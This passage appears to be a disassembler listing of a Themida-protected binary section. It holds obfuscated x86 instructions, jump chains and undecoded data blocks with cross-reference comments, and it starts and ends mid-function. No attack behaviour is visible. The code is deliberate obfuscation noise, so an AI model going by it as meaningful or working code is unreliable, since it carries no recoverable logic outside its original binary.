		dd 70EF6824h, 0C890000h, 34FF5424h, 0C4815924h,	4, 4C181h
		dd 52560000h, 15E1E9h
		db 0
byte_51126D	db 0ACh, 2Ch, 3Ch	; DATA XREF: Themida_:005028B8o
		dd 0D828D404h, 0FF2114E9h, 0BD5559FFh, 68FA793Ah, 2937A7BAh
		dd 5DEA3175h, 815EF231h, 8F1DF0F2h, 0FFD03114h,	81E92434h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51129B:				; CODE XREF: Themida_:0051697Bj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 0F3366AE4h
		and	ebx, eax
		pop	eax
		add	ebx, 0FFEBC03Ch
		jmp	loc_51216C
; ---------------------------------------------------------------------------
		db 83h
		dd 0E98104C4h, 0C261CD89h, 1BF6E9h, 24148900h, 0A56866B6h
		dd 89000045h, 53B02404h, 405E0C0h, 34AD3401h, 66DB24E6h
		dd 28DAB652h, 805A66F0h, 0C68038EEh, 50C600FDh,	0EC80DDB4h
		dd 5E4C02Ah, 289DC480h,	0C68058E6h, 88515838h, 0A200E9F5h
		dd 0E981FFFFh, 78D12D1h, 5506E9C1h, 87F72BBDh, 0E9E901FFh
		dd 0FFFF4C5Eh
; ---------------------------------------------------------------------------


loc_51132C:				; CODE XREF: Themida_:00504BA3j
		mov	edi, edx
		pop	edx
		add	ebx, 14A72A2Ah
		add	ebx, edi
		jmp	loc_50FED9
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0FF1786E9h, 80F581FFh, 107C439h, 0B9515DE8h
		dd 442C32E5h, 0FF96C7E9h, 0F8F181FFh, 0E9CAABF5h, 0FFFF1C69h
; ---------------------------------------------------------------------------


loc_511364:				; CODE XREF: Themida_:00506916j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_505359
; ---------------------------------------------------------------------------


loc_51137F:				; CODE XREF: Themida_:0050A850j
		mov	[esp], edx
		mov	edx, esp
		push	18D1h
		mov	[esp], ecx
		jmp	loc_516741
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 2
		dd 3D01EF81h, 0EF81037Eh, 0AFAC0716h, 0FFAD64E9h, 48F59FFh
		dd 24248B24h, 0FFBD7EE9h, 64C581FFh, 81DCBF99h,	0E1434CE9h
		dd 90E98173h, 1070507h,	90C181E9h, 81070507h, 0E1434CC1h
		dd 0EF685D73h, 89000057h, 0BDE9241Ch, 58FFFFADh, 338EB850h
		dd 1BE93A28h, 2D000013h, 4, 31240433h, 4332404h, 2C895C24h
		dd 5B90BD24h, 0ED8151A8h, 24EA0852h, 0FFD897E9h, 240C33FFh
		dd 0E924248Bh, 1E8Fh, 242C3359h, 0E9242C31h, 0FFFFE80Bh
		dd 1C281h, 89510000h, 4C181E1h,	81000000h, 4E9h, 240C8700h
		dd 2404895Ch, 9437DDB8h, 8E8C124h, 894F7C35h, 1F61E90Ch
		dd 1C8B0000h, 6280E924h, 0B8500000h, 0D3C1497h,	3C14952Dh
		dd 58C3010Dh, 0FFD739E9h, 79E95EFFh, 30FFFF3Eh,	240C8BE8h
		dd 5E08950h, 4,	0D202E951h, 431FFFFh, 24148B24h, 0FF43FEE9h
		dd 6A172DFFh, 44E92CA1h, 88FFFF6Fh, 8B5859EAh, 6AE9240Ch
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5114A7:				; CODE XREF: Themida_:0050A30Bj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5137E1
; ---------------------------------------------------------------------------
dword_5114B4	dd 9C241CF6h, 0FF180CE9h ; DATA	XREF: Themida_:00502970o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5114BD:				; CODE XREF: Themida_:00515AFDj
		sub	ebx, 5EBB607h
		add	esi, ebx
		pop	ebx
		add	ebp, esi
		pop	esi
		push	esi
		mov	esi, 4
		sub	ebp, 34550A95h
		sub	ebp, esi
		add	ebp, 34550A95h
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 60455969h
		push	0B93h
		jmp	loc_505D0F
; ---------------------------------------------------------------------------
		dd 6857D2F7h, 42E4h, 8B241489h,	0C481243Ch, 4, 0FF2434FFh
		dd 815A2434h, 4C4h, 0E0895000h,	405h, 8603E900h, 0EA89FFFFh
		dd 0D1015E5Dh, 4BD555Ah, 81000000h, 5109A8C1h, 81E90120h
		dd 5109A8E9h, 242C8B20h, 4C481h, 0FF510000h, 59042474h
		dd 5C24048Fh, 8904EC83h, 5E542434h, 5EEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_511565:				; CODE XREF: Themida_:00504165j
		mov	esi, 23723A1Fh
		add	ebp, esi
		pop	esi
		add	ebp, eax
		push	ecx
		mov	ecx, 51F625FCh
		dec	ecx
		not	ecx
		xor	ecx, 8D7BE01Bh
		jmp	loc_50567F
; ---------------------------------------------------------------------------
		db 83h
		dd 0EE8104C4h, 5C547BAFh, 83243C8Bh, 895304C4h,	1F0E9E3h
		dd 1C890000h, 5221B324h, 1FE9DE88h, 0B8FFFFF2h,	24E92E38h
		dd 5258C521h, 0FF878FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5115B5:				; CODE XREF: Themida_:00508329j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_50AB0F
; ---------------------------------------------------------------------------
aSV		db '\éœV',0
		db 0
; ---------------------------------------------------------------------------


loc_5115C7:				; CODE XREF: Themida_:005077CFj
		mov	ebx, edx
		jmp	loc_510997
; ---------------------------------------------------------------------------
		dw 335Eh
		dd 0C31240Ch, 240C3324h, 3A5F35Ch, 54553862h, 0BA52565Dh
		dd 25D5498Bh, 89D18951h, 505A59CEh, 0B863B6B8h,	12982D08h
		dd 52E94736h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5115FF:				; CODE XREF: Themida_:005109C5j
		inc	esi
		xor	esi, 1AE1B8C8h
		mov	ebp, esi
		pop	esi
		or	ebp, 7EB94F26h
		add	ebp, 22A36E3Ah
		shl	ebp, 7
		sub	ebp, 928FA551h
		add	ebp, 69A27EF7h
		jmp	loc_50F3E6
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 4
		dd 5C242C87h, 1D97E952h, 0C6810000h, 4F1A014Eh,	0C4E9CE01h
		dd 57000063h, 5B0EA2BFh, 5B7CE940h, 665CFFFFh, 0F6241C89h
		dd 5B662414h, 51BEF380h, 0F580CEB5h, 59EB003Ch,	0FE7DB252h
		dd 0A5F280C2h, 0FE03EAC0h, 5D18E9C2h, 5ABB0000h, 214D6B50h
		dd 2434FFDFh, 83241C8Bh, 0C48104C4h, 4,	1B11BE56h, 0F681686Fh
		dd 65260E79h, 198AEF81h, 0F7017D0Fh, 198AC781h,	0C15E7D0Fh
		dd 0BE5603E7h, 3E646A5Bh, 44685346h, 5B494F76h,	5607E3C1h
		dd 0D309D8BEh, 72EE812Eh, 0C10C070Fh, 0F68102EEh, 710EA0D7h
		dd 5E9F329h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5116D7:				; CODE XREF: Themida_:0050C8CEj
		add	ebx, 0E6D09224h
		sub	edx, 320A4F23h
		add	edx, ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 320A4F23h
		add	edx, edi
		pop	edi
		pop	ebx
		push	ebp
		mov	ebp, 4
		push	ecx
		mov	ecx, 67625414h
		sub	ecx, 32143917h
		sub	ecx, 48602439h
		dec	ecx
		sub	ecx, 8894C621h
		sub	edx, ecx
		jmp	loc_506B62
; ---------------------------------------------------------------------------


loc_51171D:				; CODE XREF: Themida_:0050877Aj
		pop	esp
		push	51B1h
		jmp	loc_511126
; ---------------------------------------------------------------------------
		dd 0F389C689h, 24048B5Eh, 0E904C483h, 0FFFF1393h, 0C768h
		dd 243C8900h, 4BFh, 0D68FE900h,	0A368FFFFh, 89000032h
		dd 0ABD242Ch, 0E976E35Dh, 0FFFF916Fh, 2434FF5Ah, 0EC83505Fh
		dd 24248904h, 4240483h,	0FF5B58E9h, 2C181FFh, 87000000h
		dd 0F8E9240Ch, 81FFFFB3h, 4C7h,	195FE900h, 0C3810000h
		dd 4, 4EB81h, 1C870000h, 0EE36E924h, 0C183FFFFh, 4EC181FFh
		dd 814EB63Bh, 321956F1h, 59CB0161h, 0EB81C301h,	3C5566BDh
		dd 8124048Bh, 4C4h, 5B5E5300h, 0E91C7709h, 4CE1h
; ---------------------------------------------------------------------------


loc_5117CC:				; CODE XREF: Themida_:00506438j
		sub	eax, edi
		jmp	loc_516A32
; ---------------------------------------------------------------------------
		db 89h
		dd 0EDE92414h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5117DB:				; CODE XREF: Themida_:00509113j
		mov	ebp, 29716A28h
		jmp	loc_506F96
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 0E9h
		dd 0FFFFD156h, 76BD68h,	241C8900h, 0E38012B3h, 0B35350D2h
		dd 0DA88529Dh, 5B5AD088h, 0E8C0D0F6h, 2CD0F605h, 34C0FEADh
		dd 8BC3306Fh, 0C4832404h, 0F6B25204h, 0C007E2C0h, 0CA8004EAh
		dd 80DAF63Bh, 0D33050EAh, 50DBF65Ah, 28AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_511835:				; CODE XREF: Themida_:0050BBB1j
		push	36ED1849h
		pop	ecx
		jmp	loc_505A6C
; ---------------------------------------------------------------------------
		dd 0E17CA6BFh, 8BF93138h, 0C483243Ch, 4EC8304h,	68242C89h
		dd 1D43h, 89243489h, 0BB5356FEh, 5F4B020Eh, 4245C31h, 242C8B5Bh
		dd 3951E952h, 0E95BFFFFh, 0FFFFED62h, 0E924048Fh, 1674h
		dd 4C481h, 0EF800000h, 0D32CBAh, 0BEE953F8h, 5AFFFF81h
		dd 81E38953h, 4C3h, 4649E900h, 89560000h, 1ED7E9E6h, 0EC810000h
		dd 4, 0B8240489h, 2ACE7FECh, 7505E8D1h,	51ABF64h, 0CFD95B99h
		dd 85E9C301h, 5D000000h, 4B05E3C1h, 0FF9543E9h,	0CFF780FFh
		dd 2881C780h, 0A612E9F8h, 2489FFFFh, 24048124h,	4, 4C3815Bh
		dd 56000000h, 4BEh, 5EF32900h, 0E9241C87h, 0FFFFDED3h
dword_511904	dd 24048B66h, 613868h, 24348900h, 24348B54h, 4571E9h, 240C8900h
					; DATA XREF: Themida_:00502A0Co
		dd 59EAE956h, 0DBF70000h, 53E9E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51192A:				; CODE XREF: Themida_:00511977j
		mov	ecx, 0A92928Ch
		add	ecx, ebp
		jmp	loc_51266D
; ---------------------------------------------------------------------------


loc_511936:				; CODE XREF: Themida_:00517512j
		mov	ebx, esp
		jmp	loc_5053EB
; ---------------------------------------------------------------------------
		db 2 dup(5Fh), 56h
		dd 42474FFh, 1E99E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51194A:				; CODE XREF: Themida_:0050D7FEj
		pop	ebx
		jmp	loc_516BDB
; ---------------------------------------------------------------------------
aXs0m		db 'Xé0M',0
		align 2
		dw 32BDh
		dd 2929F40Fh, 525E5DEAh, 0FF33CEE9h, 240C89FFh,	0E800A3B5h
		dd 58E9E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511972:				; CODE XREF: Themida_:0050EE84j
		mov	ebp, 67CC7077h
		jmp	loc_51192A
; ---------------------------------------------------------------------------
		dd 19F68146h, 81158555h, 925E56C6h, 66EE814Eh, 2999B791h
		dd 34FF5EF0h, 0C4815D24h, 4, 0A4C7E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5119A2:				; CODE XREF: Themida_:005123A6j
		add	ebp, 0B3B36B8h
		jmp	loc_50BF0D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 1F4Eh, 68241489h,	2AF0h, 68243C89h, 3B700544h
		dd 0B2E9515Fh, 81FFFFB4h, 4C6h,	27BB5300h, 4B536225h, 0F701C383h
		dd 29C381DBh, 0E9536225h, 0FFFFB3F1h, 0E8885066h, 0C588D0F6h
		dd 0FF2967E9h, 59EB88FFh, 6605E3C0h, 28000068h,	1C8A241Ch
		dd 2C48324h, 24148653h,	1DE9D2F6h, 0BAFFFF1Fh, 0
		dd 131BE9h, 0E1EE8100h,	817D8F1Dh, 209DDBF6h, 6FC58102h
		dd 5015C456h, 0CF44DCB8h, 58C5290Fh, 0FF84A1E9h, 70E95FFFh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511A47:				; CODE XREF: Themida_:00509CD2j
		mov	ebp, 0C5E0F3Eh
		not	ebp
		jmp	loc_50476E
; ---------------------------------------------------------------------------


loc_511A53:				; CODE XREF: Themida_:00510D05j
		xchg	eax, [esp]
		jmp	loc_51572D
; ---------------------------------------------------------------------------
		db 66h
		dd 0C166D1F7h, 9BE906E1h, 500001Dh, 0DA40934Ah,	0E958C289h
		dd 0FFFFA160h
; ---------------------------------------------------------------------------


loc_511A74:				; CODE XREF: Themida_:005135F6j
		push	ebp
		mov	ebp, 52812255h
		add	ebp, 0BF713E5Bh
		add	edx, ebp
		jmp	loc_50F990
; ---------------------------------------------------------------------------


loc_511A87:				; CODE XREF: Themida_:0051460Cj
		mov	ecx, [esp]
		add	esp, 4
		not	bh
		mov	dl, bh
		pop	ebx
		push	ecx
		mov	ch, 0A3h
		shl	ch, 8
		dec	ch
		inc	ch
		xor	ch, 0DFh
		jmp	loc_505115
; ---------------------------------------------------------------------------
		dd 41E9815Bh, 13E2101h,	41C181E9h, 5D3E2101h, 846CE955h
		dd 0E700FFFFh, 8BF83058h, 0C481241Ch, 4, 0FF4367E9h, 0E9505BFFh
		dd 26FCh
; ---------------------------------------------------------------------------


loc_511AD4:				; CODE XREF: Themida_:005092ACj
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, 6BAB5D2Bh
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_50D8FD
; ---------------------------------------------------------------------------
		dd 8104EEC1h, 40D27EEh,	29F68107h, 1087B18h, 24348BF3h
		dd 81E38953h, 4C3h, 4C38100h, 53000000h, 42474FFh, 24048F5Bh
		dd 4C3835Ch, 4EC81h, 1C890000h,	2474FF24h, 744E904h, 97BA0000h
		dd 298357AEh, 0EA815BDAh, 1, 3A70E9h, 40500h, 42D0000h
		dd 50000000h, 42474FFh,	24048F58h, 0FF43FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511B59:				; CODE XREF: Themida_:0050DE10j
		add	eax, ebp
		jmp	loc_50C739
; ---------------------------------------------------------------------------


loc_511B60:				; CODE XREF: Themida_:00507139j
		pop	edx
		jmp	loc_510A58
; ---------------------------------------------------------------------------
		dw 60E9h
		dd 89FFFF0Fh, 0CCE9241Ch, 81FFFF8Ah, 0B2479BC3h, 4EC8363h
		dd 0BE243489h, 24017CEEh, 348BF301h, 4C48324h, 7ACC381h
		dd 0F6662B3h, 686600B6h, 89661978h, 28E92404h, 0F7FFFF0Fh
		dd 4ACA87D9h, 0E2C1DAF7h, 0D5EA8104h, 21ACC969h, 24148BD6h
		dd 4C481h, 0F6810000h, 173D3B56h, 6AC2CE81h, 50536681h
		dd 0FD194268h, 3035584Fh, 0E9307155h, 0FFFF49B2h, 2474FF53h
		dd 48F5B04h, 4895C24h, 56E08924h, 4EC81h, 3C890000h, 45CD6824h
		dd 895F17B4h, 87ABE9FEh, 0EA81FFFFh, 16AF4F9Fh,	1B40C281h
		dd 93E94D7Fh, 8100001Ch, 0A755ADE9h, 81D1017Ah,	0A755ADC1h
		dd 5901037Ah, 0E924148Bh, 0FFFFDC0Eh, 0E9243433h, 0FFFF7082h
		dd 0BB241C89h, 47F6B12h, 0E95BD829h, 0FFFF14D8h, 24F732Dh
		dd 85643572h, 0E951F4D7h, 2C38h, 28B2ED80h, 0F02859E8h
		dd 148B0204h, 4C48324h,	0FF6CCBE9h, 0E4D05BFFh,	2DF4E951h
		dd 51580000h, 107D3CB9h, 17C0E933h, 28050000h, 5541EB31h
		dd 1BA8BB53h, 99BD1EF6h, 0E9D26B19h, 0FFFF1597h, 4C4835Bh
		dd 8150CF01h, 4ECh, 240C8900h, 1D214068h, 188FE926h, 86BD0000h
		dd 0F714084Bh, 2CD81D5h, 816C8270h, 1A2A37C5h, 52C58135h
		dd 89DAEDE1h, 242C8BE8h, 4C481h, 0C5810000h, 72417217h
		dd 0FF45E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511CDD:				; CODE XREF: Themida_:0051658Dj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	23A6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 47BC6951h
		xor	esi, 66EC7384h
		or	esi, 31B4F59h
		jmp	loc_51556B
; ---------------------------------------------------------------------------


loc_511D05:				; CODE XREF: Themida_:005152DDj
		shr	ebp, 5
		inc	ebp
		xor	ebp, 508051B6h
		push	esi
		mov	esi, 2A68DE75h
		xor	ebp, esi
		jmp	loc_5126C0
; ---------------------------------------------------------------------------
		dd 81243489h, 4ECh, 48F5400h, 4B95124h,	81000000h, 6504246Ch
		dd 81448E6Fh, 58042444h, 14FC405h, 8104244Ch, 5804246Ch
		dd 0E94FC405h, 0FFFF4165h
; ---------------------------------------------------------------------------


loc_511D50:				; CODE XREF: Themida_:00507F44j
		shl	edi, 1
		add	edi, 3CD39E85h
		mov	esi, edi
		pop	edi
		jmp	loc_50F713
; ---------------------------------------------------------------------------
		dd 0FF0D66E9h, 0E9F189FFh, 0FFFFD391h, 0C330AFB0h, 8BDA8858h
		dd 0C481241Ch, 4, 801ACA80h, 91E95AF2h,	42FFFF6Eh, 0C281DAF7h
		dd 0BC7BD5h, 34FFD001h,	0C4815A24h, 4, 0FFB097E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511DA1:				; CODE XREF: Themida_:0050C197j
		sub	ecx, ebx
		jmp	loc_512865
; ---------------------------------------------------------------------------


loc_511DA8:				; CODE XREF: Themida_:0050876Fj
		xchg	ebp, [esp]
		jmp	loc_503DE5
; ---------------------------------------------------------------------------


loc_511DB0:				; CODE XREF: Themida_:0050548Ej
		mov	[esp], ecx
		push	48B5696Ah
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 6
		add	ecx, 4E2D18A9h
		sub	ecx, 7B5C7F33h
		shr	ecx, 4
		push	edx
		mov	edx, 0FFFD50C5h
		add	ecx, edx
		jmp	loc_50C71F
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 56h
		dd 81526A2Ch, 0C42C6CE3h, 0ACEB8108h, 0F77F9A1Ah, 0D54FE9DBh
		dd 4E04FFFFh, 241C8B66h, 0E902C483h, 0FFFFF9E8h, 0BE56EB01h
		dd 791718Eh, 3C23CE81h,	0EE8102B5h, 9D1123B5h, 0FAE9F301h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511E1F:				; CODE XREF: Themida_:00512E35j
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3B9C3C80h
		sub	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_517E45
; ---------------------------------------------------------------------------
		db 49h,	41h, 81h
		dd 0F1529FE9h, 24C7812Ch, 12F2D01h, 1423E9CFh, 685CFFFFh
		dd 5F39h, 440768h, 24248900h, 4240481h,	8F000000h, 4832404h
		dd 48F0424h, 5B6FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511E8E:				; CODE XREF: Themida_:0050DE42j
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_5160EC
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 8
		dd 8104EEC1h, 0EC6288C6h, 0B5DCE935h, 0BA52FFFFh, 77F90104h
		dd 3951E9h, 0E8E95B00h
		db 1Eh,	2 dup(0FFh)
byte_511EBB	db 66h			; DATA XREF: Themida_:00502918o
		dd 0E924248Bh, 0FFFF0C07h, 9D72E0B9h, 531BE92Fh, 0CB890000h
		dd 245C0159h, 2434FF04h, 0E089505Bh, 635BBE56h,	0C681585Fh
		dd 62DA0D6Ch, 70C3F681h, 0F001BB39h, 4B9515Eh, 0E9000000h
		dd 0FFFF541Fh, 31243433h, 34332434h, 24248B24h,	0FF0BBEE9h
		dd 2EEA81FFh, 4234C13Dh, 7E7168h, 1F3AE900h, 0E955FFFFh
		dd 0FFFF7F4Bh, 0BD242C89h, 0DB0215Eh, 0DEA3C581h, 0EF29F24Fh
		dd 0ECEF815Dh, 17FE5BFh, 14875FFAh, 4FE5C24h, 80E99C24h
		dd 89FFFF0Bh, 41B5240Ch, 0DDF6C5FEh, 0E901ED80h, 0FFFF2183h
; ---------------------------------------------------------------------------


loc_511F5C:				; CODE XREF: Themida_:0050EA6Fj
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5139F4
; ---------------------------------------------------------------------------


loc_511F6E:				; CODE XREF: Themida_:00515D53j
		sub	bl, ah
		sub	bl, 9Ah
		jmp	loc_502F18
; ---------------------------------------------------------------------------


loc_511F78:				; CODE XREF: Themida_:00512D28j
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, 38F31491h
		jmp	loc_50AF03
; ---------------------------------------------------------------------------


loc_511F8C:				; CODE XREF: Themida_:00506457j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5164CC
; ---------------------------------------------------------------------------
		dw 0F757h
		dd 0C15F241Ch, 0EF8104EFh, 0E7DF875h, 57276850h, 485808A4h
		dd 0BAFBE56h, 0F001568Bh, 59DBE95Eh, 51660000h,	0AFDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511FCE:				; CODE XREF: Themida_:005133DCj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5046C8
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 8924248Bh, 0DCE9240Ch, 0FFFFFF0Ah, 835E2434h, 61E904C4h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511FFB:				; CODE XREF: Themida_:0050B98Ej
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 41B31002h
		sub	edx, 3E5C2754h
		xor	edx, 410B73EBh
		sub	edx, 3F2600A9h
		sub	edx, 0A5EE6636h
		add	ecx, edx
		pop	edx
		add	ecx, ebx
		jmp	loc_5074B8
; ---------------------------------------------------------------------------
byte_51202B	db 0FFh			; DATA XREF: Themida_:00502830o
		dd 148B2434h, 2C76E924h, 0C89FFFFh, 0CF0E924h, 0E901FFFFh
		dd 209EE981h, 0C1810D6Ch, 1BD74B95h, 5D2434FFh,	5E08950h
		dd 4, 26DE9h, 5BDF3100h, 56FFC783h, 7697B951h, 0D1F73DFCh
		dd 7AE6F181h, 0E98168B8h, 667E1B66h, 0C1814149h, 38645DB9h
		dd 8159CE89h, 0C71F4ACEh, 5246465Ah, 994099BAh,	6DC6E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512096:				; CODE XREF: Themida_:00517134j
		shr	ebx, 3
		jmp	loc_50EC6C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 6952519Bh, 0E1D1D1F7h, 0F181D1F7h, 0D0D6939h, 0B948E981h
		dd 0C6813FD9h, 27DB6681h, 0EE81CE01h, 27DB6681h, 0FF1D30E9h
		dd 4C483FFh, 4C781h, 56680000h,	8900004Fh, 2BE2434h, 81000000h
		dd 0EF5A28C7h, 57BE563Ch, 1146329h, 4D0DE9F7h, 48F0000h
		dd 0CE55E924h, 0E689FFFFh, 0FF8ECDE9h, 1A392DFFh, 0C8015672h
		dd 721A3905h, 0D0F75956h, 2D05E0C1h, 1,	2E0C148h, 0FF7081E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512121:				; CODE XREF: Themida_:0050887Bj
		add	esp, 4
		push	edx
		jmp	loc_50C0D1
; ---------------------------------------------------------------------------


loc_51212D:				; CODE XREF: Themida_:005053A8j
		push	edi
		jmp	loc_504B95
; ---------------------------------------------------------------------------


loc_512133:				; CODE XREF: Themida_:00516D4Bj
		push	ebp
		jmp	loc_50997B
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FFE5D2E9h, 5FEA81FFh
		dd 174B46Dh, 5FC281FAh,	5574B46Dh, 0FA6DF0BDh, 0E9EA2936h
		dd 0FFFFE000h
; ---------------------------------------------------------------------------


loc_51216C:				; CODE XREF: Themida_:005112BEj
		mov	eax, ebx
		pop	ebx
		jmp	loc_5154E8
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E0BA2414h, 0C149F351h, 0F28105E2h, 1C5A3C59h
		dd 1553F281h, 0F2815832h, 8187A0D3h, 895AD701h,	2434FFFDh
		dd 0E9243C8Bh, 25FDh, 83240489h, 0E95404ECh, 0FFFF5EFEh
; ---------------------------------------------------------------------------


loc_5121B0:				; CODE XREF: Themida_:0050380Cj
		push	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7BC516F3h
		and	eax, 0FDF1495h
		not	eax
		sub	eax, 0DE94DE07h
		mov	edi, eax
		pop	eax
		push	edi
		jmp	loc_5085D0
; ---------------------------------------------------------------------------


loc_5121D1:				; CODE XREF: Themida_:00503409j
		sub	ecx, 41E808CDh
		sub	ecx, 36F869E3h
		add	ecx, edi
		add	ecx, 36F869E3h
		push	eax
		mov	eax, 10ED5E91h
		jmp	loc_50611F
; ---------------------------------------------------------------------------
		dd 0E9F9015Eh, 0FFFF3AEDh, 0FF08CEE9h, 37B850FFh, 0E91B8D6Fh
		dd 0FFFF3800h, 6653555Ah, 0E9613DBBh, 3C62h
; ---------------------------------------------------------------------------


loc_512214:				; CODE XREF: Themida_:00509AC7j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_50A86A
; ---------------------------------------------------------------------------
		db 0B7h, 1Ah, 0
		dd 3B06E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51223E:				; CODE XREF: Themida_:0050C5A8j
		mov	esp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_50BB95
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 0FF5FBEE9h, 14F766FFh, 0C8B6624h, 2C48124h, 0E9000000h
		dd 0FFFFF7F7h, 1BB05053h, 0C30051B3h, 0EDEEE958h, 34FFFFFFh
		dd 2434FF24h, 4C4815Bh,	83000000h, 48F04C4h, 0BF575C24h
		dd 4, 835FFD01h, 2C8702C5h, 1C24E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51229A:				; CODE XREF: Themida_:00509994j
		add	ebp, 0E555F659h
		add	edx, ebp
		pop	ebp
		sub	ebx, 369C294Eh
		sub	ebx, edx
		push	esi
		mov	esi, 7E60041Fh
		sub	esi, 4ECC7596h
		shr	esi, 3
		add	esi, 30A9B77Dh
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5038DB
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24043304h, 3046E9h, 0E6895600h, 4C681h, 0C6830000h
		dd 24343304h, 33243431h, 815C2434h, 4ECh, 241C8900h, 42474FFh
		dd 0E9241C8Bh, 0FFFF0A52h, 0CC26E95Ah, 0CE81FFFFh, 7DFE5160h
		dd 0FF79A6E9h, 6858FFh,	81000000h, 6C88242Ch, 342910E3h
		dd 24048124h, 10E36C88h, 0E924348Bh, 147h
; ---------------------------------------------------------------------------


loc_512330:				; CODE XREF: Themida_:0050B6F3j
		mov	eax, esp
		add	eax, 4
		push	7D79h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	[esp], eax
		push	ebx
		push	26311642h
		pop	ebx
		jmp	loc_50AE6E
; ---------------------------------------------------------------------------
		dd 5C241487h, 0FF1984E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512369:				; CODE XREF: Themida_:00516FBCj
		push	0CC3h
		jmp	loc_504E86
; ---------------------------------------------------------------------------


loc_512373:				; CODE XREF: Themida_:00514DA8j
		mov	[esp], eax
		push	ebx
		mov	ebx, 12620E01h
		mov	eax, ebx
		pop	ebx
		push	eax
		mov	eax, 40B20806h
		xor	eax, 57840FD4h
		neg	eax
		sub	eax, 2A7A25DFh
		inc	eax
		push	ebp
		mov	ebp, 7A2E98AFh
		add	eax, ebp
		pop	ebp
		mov	ebp, eax
		pop	eax
		sub	ebp, 0B3B36B8h
		add	ebp, eax
		jmp	loc_5119A2
; ---------------------------------------------------------------------------
		db 52h
		dd 0F588C688h, 59EE885Ah, 8324048Bh, 0C8B04C4h,	5ECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5123C2:				; CODE XREF: Themida_:00506876j
		push	1986h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	ecx
		mov	ecx, 57DE4B2Eh
		mov	edi, ecx
		pop	ecx
